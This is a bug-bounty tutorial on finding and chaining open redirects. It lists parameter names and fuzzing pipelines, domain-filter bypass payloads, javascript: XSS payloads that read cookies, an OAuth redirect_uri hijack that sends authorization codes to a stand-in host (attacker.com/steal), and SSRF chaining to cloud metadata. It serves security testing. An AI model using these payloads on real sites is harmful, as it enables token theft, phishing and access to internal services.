Open Redirect Exploitation: From Phishing to OAuth Token Theft

Open redirect vulnerabilities allow attackers to redirect users from a trusted domain to an arbitrary external URL. While often viewed as low severity in isolation, open redirects become critical when chained with OAuth token theft, phishing attacks under trusted domains, SSRF bypasses, and XSS delivery. Understanding how to find and exploit them is essential for maximizing bug bounty impact.

Finding Open Redirect Parameters

Redirect Parameter	Context	Chaining Technique	Impact
?next=	Post-login redirect	OAuth redirect_uri bypass	Account takeover
?url=	Content redirect	SSRF chaining	Internal service access
?redirect=	Navigation	Phishing landing page	Credential theft
?return=	Session expiry	Token leakage via Referer	Token theft
?continue=	Checkout flow	Malware distribution	Drive-by download
?goto=	Mobile deep-link	App scheme hijack	Mobile account takeover
?dest=	Logout redirect	Persistent phishing	Repeated phishing

Open redirects hide in many parameter names. Common targets:

# Common parameter names to fuzz:
?url=
?redirect=
?redirect_url=
?redirect_uri=
?return=
?return_url=
?returnTo=
?next=
?continue=
?target=
?dest=
?destination=
?go=
?location=
?back=
?redir=
?forward=

Automated Discovery

# Use gau or waybackurls to find historical redirect parameters
gau target.com | grep -E "redirect|return|next|url=|dest=" | sort -u

# Use qsreplace to test each unique URL
gau target.com | grep -E "url=|redirect=" | qsreplace "https://attacker.com" |   httpx -silent -location -mc 302,301,303 | grep attacker.com

Protocol-Relative URLs

Protocol-relative URLs (starting with //) are treated as absolute URLs by browsers. Many redirect filters only block explicit https:// prefixes:

?url=//attacker.com
?redirect=//attacker.com/phishing
?next=//attacker.com%2fmalicious-path

Domain Bypass Techniques

Missing Slash After Protocol

?url=https:attacker.com       # Missing slashes
?url=https:///attacker.com    # Three slashes (treated as http://attacker.com by some parsers)
?url=https:////attacker.com   # Four slashes

Subdomain Confusion

# If filter checks for "target.com" anywhere in the URL:
?url=https://attacker.com/target.com    # Path contains target.com
?url=https://target.com.attacker.com    # Attacker's subdomain

# Registered domain confusion
?url=https://[email protected]    # Credentials section
?url=https://attacker.com#target.com    # Fragment contains target.com

URL Parsing Differences

Different URL parsers interpret the same string differently. Exploit these inconsistencies:

?url=https://target.com%252F%252Fattacker.com  # Double URL encoding
?url=https://target.com/%09/attacker.com       # Tab character in path
?url=https://target.com\.attacker.com          # Backslash in URL
?url=https://target.com%0a%0dLocation:%20https://attacker.com  # CRLF injection

Unicode and Homoglyph Attacks

?url=https://attaсker.com  # Cyrillic 'с' instead of 'c' (IDN homoglyph)
?url=https://аttacker.com  # Cyrillic 'а' instead of 'a'

Open Redirect to XSS

If the redirect destination is rendered as a JavaScript URL or injected into a script context, open redirect can escalate to XSS:

# javascript: scheme as redirect target
?url=javascript:alert(document.cookie)
?redirect=javascript:alert(1)
?next=javascript://attacker.com/%0aalert(1)

# Data URI (for download or file contexts)
?url=data:text/html,<script>alert(document.domain)</script>

In some applications, the redirect URL is written into a JavaScript variable:

// Vulnerable code:
<script>window.location = "{{ redirect_url }}";</script>

// Injection via redirect_url:
?next=";alert(document.cookie)//

OAuth redirect_uri Hijacking

This is where open redirect becomes critical severity. If the OAuth authorization server validates the redirect_uri against a whitelist of registered domains but allows paths, an open redirect on the whitelisted domain can steal authorization codes:

Attack Flow

# Registered redirect_uri: https://app.com/oauth/callback
# App.com has open redirect at: https://app.com/redirect?url=ATTACKER

# Exploit:
GET /authorize?
  response_type=code&
  client_id=CLIENT_ID&
  redirect_uri=https://app.com/redirect?url=https://attacker.com/steal&
  scope=profile+email&
  state=abc123

The authorization server validates that the redirect_uri starts with https://app.com. It sends the authorization code to app.com/redirect, which then redirects (with the code in the Referer header or URL) to attacker.com. See our OAuth Vulnerabilities Guide for the full context.

Code Extraction via Referer

# Attacker's steal page at attacker.com/steal loads a resource
# Referer header sent to that resource will contain the code:
# https://app.com/redirect?code=AUTH_CODE&url=https://attacker.com/steal

# Attacker's page:
<img src="https://attacker.com/log.php">
# Server logs will show Referer with the auth code

SSRF via Open Redirect

Applications that fetch URLs provided by users sometimes follow redirects. If an open redirect exists on an internal service, it can bypass SSRF filters:

# Direct SSRF blocked:
?url=http://169.254.169.254/latest/meta-data/

# Using open redirect to bypass:
?url=https://trusted-public-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/

# If the application follows redirects through the public domain, it reaches internal metadata

Common Filter Bypass Patterns

Filters Checking Allowed Domains

# If filter allows specific domains (e.g., google.com)
?url=https://accounts.google.com.attacker.com
?url=https://[email protected]
?url=https://attacker.com?ref=google.com

Filters Using Contains/StartsWith

# Contains "target.com":
?url=https://attacker.com/?target.com

# StartsWith "https://target.com":
?url=https://target.com.attacker.com

Whitespace and Special Character Injection

?url=%09https://attacker.com   # Leading tab
?url=%20https://attacker.com   # Leading space
?url=%0ahttps://attacker.com   # Leading newline

Testing Methodology

1. Enumerate all URL parameters using historical URL data (gau, waybackurls)
2. Test basic redirect with https://attacker.com and note response code
3. If blocked, try protocol-relative, javascript:, data: schemes
4. Test domain confusion: @, subdomain prefix, subdomain suffix, path-based
5. Test double/triple URL encoding
6. Assess OAuth impact — check if redirect_uri allows path flexibility
7. Test SSRF chaining with internal-pointing URLs

Use the Encoding Pipeline to test URL encoding variations systematically. For SSRF chaining after redirect, see our SSRF Exploitation and Cloud Metadata guide. Open redirects in OAuth flows are covered in the OAuth Vulnerabilities Guide, and CRLF injection via redirects is detailed in our CRLF Injection Guide.